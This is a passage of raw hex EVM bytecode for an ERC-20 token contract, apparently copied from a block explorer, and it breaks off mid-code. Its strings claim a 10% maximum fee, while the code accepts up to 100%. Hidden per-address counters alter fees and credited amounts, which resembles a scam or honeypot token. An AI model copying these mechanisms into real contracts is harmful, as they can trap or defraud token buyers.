d8562000b38565b945062000b4d565b94509492505050565b5f8262000baf576001905062000c81565b8162000bbe575f905062000c81565b816001811462000bd7576002811462000be25762000c18565b600191505062000c81565b60ff84111562000bf75762000bf662000b0b565b5b8360020a91508482111562000c115762000c1062000b0b565b5b5062000c81565b5060208310610133831016604e8410600b841016171562000c525782820a90508381111562000c4c5762000c4b62000b0b565b5b62000c81565b62000c61848484600162000b44565b9250905081840481111562000c7b5762000c7a62000b0b565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ca082620008dd565b915062000cad8362000c88565b925062000cdc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b9e565b905092915050565b5f62000cf082620008dd565b915062000cfd83620008dd565b925082820262000d0d81620008dd565b9150828204841483151762000d275762000d2662000b0b565b5b5092915050565b5f80fd5b62000d3d8162000c88565b811462000d48575f80fd5b50565b5f8151905062000d5b8162000d32565b92915050565b5f806040838503121562000d7a5762000d7962000d2e565b5b5f62000d898582860162000d4b565b925050602062000d9c8582860162000d4b565b9150509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000dd18262000da6565b9050919050565b62000de38162000dc5565b811462000dee575f80fd5b50565b5f8151905062000e018162000dd8565b92915050565b5f6020828403121562000e1f5762000e1e62000d2e565b5b5f62000e2e8482850162000df1565b91505092915050565b62000e428162000dc5565b82525050565b5f60408201905062000e5d5f83018562000e37565b62000e6c602083018462000e37565b9392505050565b62000e7e81620008dd565b82525050565b5f60208201905062000e995f83018462000e73565b92915050565b61240a8062000ead5f395ff3fe6080604052600436106101ba575f3560e01c8063715018a6116100eb578063b09f126611610089578063d28d885211610063578063d28d8852146105f7578063dd62ed3e14610621578063e3a382861461065d578063f1d6512e14610699576101c1565b8063b09f126614610579578063bbc0c742146105a3578063c5b37c22146105cd576101c1565b806395d89b41116100c557806395d89b41146104ad578063a457c2d7146104d7578063a9059cbb14610513578063af465a271461054f576101c1565b8063715018a6146104575780638a8c523c1461046d5780638da5cb5b14610483576101c1565b8063313ce567116101585780634a74bb02116101325780634a74bb021461039f5780634f863ea1146103c957806370a08231146103f15780637141e6a01461042d576101c1565b8063313ce5671461030f578063395093511461033957806349bd5a5e14610375576101c1565b80631694505e116101945780631694505e1461025557806318160ddd1461027f578063220f6696146102a957806323b872dd146102d3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806315120e5b1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d96106d5565b6040516101e69190611bb9565b60405180910390f35b3480156101fa575f80fd5b5061021560048036038101906102109190611c6a565b610765565b6040516102229190611cc2565b60405180910390f35b348015610236575f80fd5b5061023f610782565b60405161024c9190611cfb565b60405180910390f35b348015610260575f80fd5b506102696107a7565b6040516102769190611d6f565b60405180910390f35b34801561028a575f80fd5b506102936107cc565b6040516102a09190611d97565b60405180910390f35b3480156102b4575f80fd5b506102bd6107d5565b6040516102ca9190611cc2565b60405180910390f35b3480156102de575f80fd5b506102f960048036038101906102f49190611db0565b6107e8565b6040516103069190611cc2565b60405180910390f35b34801561031a575f80fd5b506103236108bc565b6040516103309190611e1b565b60405180910390f35b348015610344575f80fd5b5061035f600480360381019061035a9190611c6a565b6108d1565b60405161036c9190611cc2565b60405180910390f35b348015610380575f80fd5b5061038961097f565b6040516103969190611e43565b60405180910390f35b3480156103aa575f80fd5b506103b36109a4565b6040516103c09190611cc2565b60405180910390f35b3480156103d4575f80fd5b506103ef60048036038101906103ea9190611e86565b6109b7565b005b3480156103fc575f80fd5b5061041760048036038101906104129190611eb1565b610a98565b6040516104249190611d97565b60405180910390f35b348015610438575f80fd5b50610441610ade565b60405161044e9190611cc2565b60405180910390f35b348015610462575f80fd5b5061046b610af1565b005b348015610478575f80fd5b50610481610c27565b005b34801561048e575f80fd5b50610497610d3a565b6040516104a49190611e43565b60405180910390f35b3480156104b8575f80fd5b506104c1610d61565b6040516104ce9190611bb9565b60405180910390f35b3480156104e2575f80fd5b506104fd60048036038101906104f89190611c6a565b610df1565b60405161050a9190611cc2565b60405180910390f35b34801561051e575f80fd5b5061053960048036038101906105349190611c6a565b610eb9565b6040516105469190611cc2565b60405180910390f35b34801561055a575f80fd5b50610563610ed6565b6040516105709190611d97565b60405180910390f35b348015610584575f80fd5b5061058d610edc565b60405161059a9190611bb9565b60405180910390f35b3480156105ae575f80fd5b506105b7610f68565b6040516105c49190611cc2565b60405180910390f35b3480156105d8575f80fd5b506105e1610f7a565b6040516105ee9190611e1b565b60405180910390f35b348015610602575f80fd5b5061060b610f8d565b6040516106189190611bb9565b60405180910390f35b34801561062c575f80fd5b5061064760048036038101906106429190611edc565b611019565b6040516106549190611d97565b60405180910390f35b348015610668575f80fd5b50610683600480360381019061067e9190611f44565b61109b565b6040516106909190611e1b565b60405180910390f35b3480156106a4575f80fd5b506106bf60048036038101906106ba9190611eb1565b6110b8565b6040516106cc9190611cc2565b60405180910390f35b6060600180546106e490611f9c565b80601f016020809104026020016040519081016040528092919081815260200182805461071090611f9c565b801561075b5780601f106107325761010080835404028352916020019161075b565b820191905f5260205f20905b81548152906001019060200180831161073e57829003601f168201915b5050505050905090565b5f6107786107716110d5565b84846110dc565b6001905092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b600e60149054906101000a900460ff1681565b5f6107f484848461126a565b6108b1846108006110d5565b6108ac856040518060600160405280602881526020016123886028913960095f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108636110d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab19092919063ffffffff16565b6110dc565b600190509392505050565b5f60035f9054906101000a900460ff16905090565b5f6109756108dd6110d5565b846109708560095f6108ed6110d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b6110dc565b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b6109bf6110d5565b73ffffffffffffffffffffffffffffffffffffffff166109dd610d3a565b73ffffffffffffffffffffffffffffffffffffffff1614610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a90612016565b60405180910390fd5b60648160ff161115610a7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a71906120a4565b60405180910390fd5b80600a60146101000a81548160ff021916908360ff16021790555050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600e60169054906101000a900460ff1681565b610af96110d5565b73ffffffffffffffffffffffffffffffffffffffff16610b17610d3a565b73ffffffffffffffffffffffffffffffffffffffff1614610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490612016565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c2f6110d5565b73ffffffffffffffffffffffffffffffffffffffff16610c4d610d3a565b73ffffffffffffffffffffffffffffffffffffffff1614610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a90612016565b60405180910390fd5b60085f9054906101000a900460ff1615610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce99061210c565b60405180910390fd5b600160085f6101000a81548160ff0219169083151502179055507f799663458a5ef2936f7fa0c99b3336c69c25890f82974f04e811e5bb359186c760405160405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d7090611f9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9c90611f9c565b8015610de75780601f10610dbe57610100808354040283529160200191610de7565b820191905f5260205f20905b815481529060010190602001808311610dca57829003601f168201915b5050505050905090565b5f610eaf610dfd6110d5565b84610eaa856040518060600160405280602581526020016123b06025913960095f610e266110d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab19092919063ffffffff16565b6110dc565b6001905092915050565b5f610ecc610ec56110d5565b848461126a565b6001905092915050565b600b5481565b60028054610ee990611f9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1590611f9c565b8015610f605780601f10610f3757610100808354040283529160200191610f60565b820191905f5260205f20905b815481529060010190602001808311610f4357829003601f168201915b505050505081565b60085f9054906101000a900460ff1681565b600a60149054906101000a900460ff1681565b60018054610f9a90611f9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610fc690611f9c565b80156110115780601f10610fe857610100808354040283529160200191611011565b820191905f5260205f20905b815481529060010190602001808311610ff457829003601f168201915b505050505081565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6005602052805f5260405f205f915054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561114457505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612174565b60405180910390fd5b8060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125d9190611d97565b60405180910390a3505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff16905060085f9054906101000a900460ff166113a85760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611368575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e906121dc565b60405180910390fd5b5b5f60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff16111561148a5760065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f81819054906101000a900460ff168092919061145590612227565b91906101000a81548160ff021916908360ff160217905550506001600e60166101000a81548160ff0219169083151502179055505b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611526575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611533575f9050611595565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361158f575f9050611594565b600190505b5b6115e58360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b1a90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156118ab575f60055f600e60169054906101000a900460ff161515151581526020019081526020015f205f9054906101000a900460ff16600a60149054906101000a900460ff16611678919061224f565b90505f60648260ff168661168c9190612283565b61169691906122f1565b90505f811115611797576116f08160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178e9190611d97565b60405180910390a35b5f6117ab8287611b1a90919063ffffffff16565b90506117fd8160045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161189b9190611d97565b60405180910390a3505050611aaa565b5f8211156119b257611905600c5460045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516119a59190611d97565b60405180910390a3611aa9565b611a028360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611aa09190611d97565b60405180910390a35b5b5050505050565b5f838311158290611af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aef9190611bb9565b60405180910390fd5b5082840390509392505050565b5f8183611b129190612321565b905092915050565b5f8183611b279190612354565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b66578082015181840152602081019050611b4b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b8b82611b2f565b611b958185611b39565b9350611ba5818560208601611b49565b611bae81611b71565b840191505092915050565b5f6020820190508181035f830152611bd18184611b81565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c0682611bdd565b9050919050565b611c1681611bfc565b8114611c20575f80fd5b50565b5f81359050611c3181611c0d565b92915050565b5f819050919050565b611c4981611c37565b8114611c53575f80fd5b50565b5f81359050611c6481611c40565b92915050565b5f8060408385031215611c8057611c7f611bd9565b5b5f611c8d85828601611c23565b9250506020611c9e85828601611c56565b9150509250929050565b5f8115159050919050565b611cbc81611ca8565b82525050565b5f602082019050611cd55f830184611cb3565b92915050565b5f611ce582611bdd565b9050919050565b611cf581611cdb565b82525050565b5f602082019050611d0e5f830184611cec565b92915050565b5f819050919050565b5f611d37611d32611d2d84611bdd565b611d14565b611bdd565b9050919050565b5f611d4882611d1d565b9050919050565b5f611d5982611d3e565b9050919050565b611d6981611d4f565b82525050565b5f602082019050611d825f830184611d60565b92915050565b611d9181611c37565b82525050565b5f602082019050611daa5f830184611d88565b92915050565b5f805f60608486031215611dc757611dc6611bd9565b5b5f611dd486828701611c23565b9350506020611de586828701611c23565b9250506040611df686828701611c56565b9150509250925092565b5f60ff82169050919050565b611e1581611e00565b82525050565b5f602082019050611e2e5f830184611e0c565b92915050565b611e3d81611bfc565b82525050565b5f602082019050611e565f830184611e34565b92915050565b611e6581611e00565b8114611e6f575f80fd5b50565b5f81359050611e8081611e5c565b92915050565b5f60208284031215611e9b57611e9a611bd9565b5b5f611ea884828501611e72565b91505092915050565b5f60208284031215611ec657611ec5611bd9565b5b5f611ed384828501611c23565b91505092915050565b5f8060408385031215611ef257611ef1611bd9565b5b5f611eff85828601611c23565b9250506020611f1085828601611c23565b9150509250929050565b611f2381611ca8565b8114611f2d575f80fd5b50565b5f81359050611f3e81611f1a565b92915050565b5f60208284031215611f5957611f58611bd9565b5b5f611f6684828501611f30565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fb357607f821691505b602082108103611fc657611fc5611f6f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612000602083611b39565b915061200b82611fcc565b602082019050919050565b5f6020820190508181035f83015261202d81611ff4565b9050919050565b7f4665652070657263656e746167652065786365656473206d6178696d756d206c5f8201527f696d6974206f6620313025000000000000000000000000000000000000000000602082015250565b5f61208e602b83611b39565b915061209982612034565b604082019050919050565b5f6020820190508181035f8301526120bb81612082565b9050919050565b7f43616e6e6f74207265656e61626c652074726164696e670000000000000000005f82015250565b5f6120f6601783611b39565b9150612101826120c2565b602082019050919050565b5f6020820190508181035f830152612123816120ea565b9050919050565b7f4164726573733a203000000000000000000000000000000000000000000000005f82015250565b5f61215e600983611b39565b91506121698261212a565b602082019050919050565b5f6020820190508181035f83015261218b81612152565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f6121c6601683611b39565b91506121d182612192565b602082019050919050565b5f6020820190508181035f8301526121f3816121ba565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61223182611e00565b915060ff8203612244576122436121fa565b5b600182019050919050565b5f61225982611e00565b915061226483611e00565b9250828201905060ff81111561227d5761227c6121fa565b5b92915050565b5f61228d82611c37565b915061229883611c37565b92508282026122a681611c37565b915082820484148315176122bd576122bc6121fa565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6122fb82611c37565b915061230683611c37565b925082612316576123156122c4565b5b828204905092915050565b5f61232b82611c37565b915061233683611c37565b925082820190508082111561234e5761234d6121fa565b5b92915050565b5f61235e82611c37565b915061236983611c37565b9250828203905081811115612381576123806121fa565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122085c95c9fc19145b4fbb51b04ebf260aabfb91848a4be04ab5eaee4c0145f378664736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000061

Deployed Bytecode

0x6080604052600436106101ba575f3560e01c8063715018a6116100eb578063b09f126611610089578063d28d885211610063578063d28d8852146105f7578063dd62ed3e14610621578063e3a382861461065d578063f1d6512e14610699576101c1565b8063b09f126614610579578063bbc0c742146105a3578063c5b37c22146105cd576101c1565b806395d89b41116100c557806395d89b41146104ad578063a457c2d7146104d7578063a9059cbb14610513578063af465a271461054f576101c1565b8063715018a6146104575780638a8c523c1461046d5780638da5cb5b14610483576101c1565b8063313ce567116101585780634a74bb02116101325780634a74bb021461039f5780634f863ea1146103c957806370a08231146103f15780637141e6a01461042d576101c1565b8063313ce5671461030f578063395093511461033957806349bd5a5e14610375576101c1565b80631694505e116101945780631694505e1461025557806318160ddd1461027f578063220f6696146102a957806323b872dd146102d3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806315120e5b1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d96106d5565b6040516101e69190611bb9565b60405180910390f35b3480156101fa575f80fd5b5061021560048036038101906102109190611c6a565b610765565b6040516102229190611cc2565b60405180910390f35b348015610236575f80fd5b5061023f610782565b60405161024c9190611cfb565b60405180910390f35b348015610260575f80fd5b506102696107a7565b6040516102769190611d6f565b60405180910390f35b34801561028a575f80fd5b506102936107cc565b6040516102a09190611d97565b60405180910390f35b3480156102b4575f80fd5b506102bd6107d5565b6040516102ca9190611cc2565b60405180910390f35b3480156102de575f80fd5b506102f960048036038101906102f49190611db0565b6107e8565b6040516103069190611cc2565b60405180910390f35b34801561031a575f80fd5b506103236108bc565b6040516103309190611e1b565b60405180910390f35b348015610344575f80fd5b5061035f600480360381019061035a9190611c6a565b6108d1565b60405161036c9190611cc2565b60405180910390f35b348015610380575f80fd5b5061038961097f565b6040516103969190611e43565b60405180910390f35b3480156103aa575f80fd5b506103b36109a4565b6040516103c09190611cc2565b60405180910390f35b3480156103d4575f80fd5b506103ef60048036038101906103ea9190611e86565b6109b7565b005b3480156103fc575f80fd5b5061041760048036038101906104129190611eb1565b610a98565b6040516104249190611d97565b60405180910390f35b348015610438575f80fd5b50610441610ade565b60405161044e9190611cc2565b60405180910390f35b348015610462575f80fd5b5061046b610af1565b005b348015610478575f80fd5b50610481610c27565b005b34801561048e575f80fd5b50610497610d3a565b6040516104a49190611e43565b60405180910390f35b3480156104b8575f80fd5b506104c1610d61565b6040516104ce9190611bb9565b60405180910390f35b3480156104e2575f80fd5b506104fd60048036038101906104f89190611c6a565b610df1565b60405161050a9190611cc2565b60405180910390f35b34801561051e575f80fd5b5061053960048036038101906105349190611c6a565b610eb9565b6040516105469190611cc2565b60405180910390f35b34801561055a575f80fd5b50610563610ed6565b6040516105709190611d97565b60405180910390f35b348015610584575f80fd5b5061058d610edc565b60405161059a9190611bb9565b60405180910390f35b3480156105ae575f80fd5b506105b7610f68565b6040516105c49190611cc2565b60405180910390f35b3480156105d8575f80fd5b506105e1610f7a565b6040516105ee9190611e1b565b60405180910390f35b348015610602575f80fd5b5061060b610f8d565b6040516106189190611bb9565b60405180910390f35b34801561062c575f80fd5b5061064760048036038101906106429190611edc565b611019565b6040516106549190611d97565b60405180910390f35b348015610668575f80fd5b50610683600480360381019061067e9190611f44565b61109b565b6040516106909190611e1b565b60405180910390f35b3480156106a4575f80fd5b506106bf60048036038101906106ba9190611eb1565b6110b8565b6040516106cc9190611cc2565b60405180910390f35b6060600180546106e490611f9c565b80601f016020809104026020016040519081016040528092919081815260200182805461071090611f9c565b801561075b5780601f106107325761010080835404028352916020019161075b565b820191905f5260205f20905b81548152906001019060200180831161073e57829003601f168201915b5050505050905090565b5f6107786107716110d5565b84846110dc565b6001905092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b600e60149054906101000a900460ff1681565b5f6107f484848461126a565b6108b1846108006110d5565b6108ac856040518060600160405280602881526020016123886028913960095f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108636110d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab19092919063ffffffff16565b6110dc565b600190509392505050565b5f60035f9054906101000a900460ff16905090565b5f6109756108dd6110d5565b846109708560095f6108ed6110d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b6110dc565b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b6109bf6110d5565b73ffffffffffffffffffffffffffffffffffffffff166109dd610d3a565b73ffffffffffffffffffffffffffffffffffffffff1614610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a90612016565b60405180910390fd5b60648160ff161115610a7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a71906120a4565b60405180910390fd5b80600a60146101000a81548160ff021916908360ff16021790555050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600e60169054906101000a900460ff1681565b610af96110d5565b73ffffffffffffffffffffffffffffffffffffffff16610b17610d3a565b73ffffffffffffffffffffffffffffffffffffffff1614610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490612016565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c2f6110d5565b73ffffffffffffffffffffffffffffffffffffffff16610c4d610d3a565b73ffffffffffffffffffffffffffffffffffffffff1614610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a90612016565b60405180910390fd5b60085f9054906101000a900460ff1615610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce99061210c565b60405180910390fd5b600160085f6101000a81548160ff0219169083151502179055507f799663458a5ef2936f7fa0c99b3336c69c25890f82974f04e811e5bb359186c760405160405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d7090611f9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9c90611f9c565b8015610de75780601f10610dbe57610100808354040283529160200191610de7565b820191905f5260205f20905b815481529060010190602001808311610dca57829003601f168201915b5050505050905090565b5f610eaf610dfd6110d5565b84610eaa856040518060600160405280602581526020016123b06025913960095f610e266110d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab19092919063ffffffff16565b6110dc565b6001905092915050565b5f610ecc610ec56110d5565b848461126a565b6001905092915050565b600b5481565b60028054610ee990611f9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1590611f9c565b8015610f605780601f10610f3757610100808354040283529160200191610f60565b820191905f5260205f20905b815481529060010190602001808311610f4357829003601f168201915b505050505081565b60085f9054906101000a900460ff1681565b600a60149054906101000a900460ff1681565b60018054610f9a90611f9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610fc690611f9c565b80156110115780601f10610fe857610100808354040283529160200191611011565b820191905f5260205f20905b815481529060010190602001808311610ff457829003601f168201915b505050505081565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6005602052805f5260405f205f915054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561114457505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612174565b60405180910390fd5b8060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125d9190611d97565b60405180910390a3505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff16905060085f9054906101000a900460ff166113a85760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611368575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e906121dc565b60405180910390fd5b5b5f60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff16111561148a5760065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f81819054906101000a900460ff168092919061145590612227565b91906101000a81548160ff021916908360ff160217905550506001600e60166101000a81548160ff0219169083151502179055505b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611526575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611533575f9050611595565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361158f575f9050611594565b600190505b5b6115e58360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b1a90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015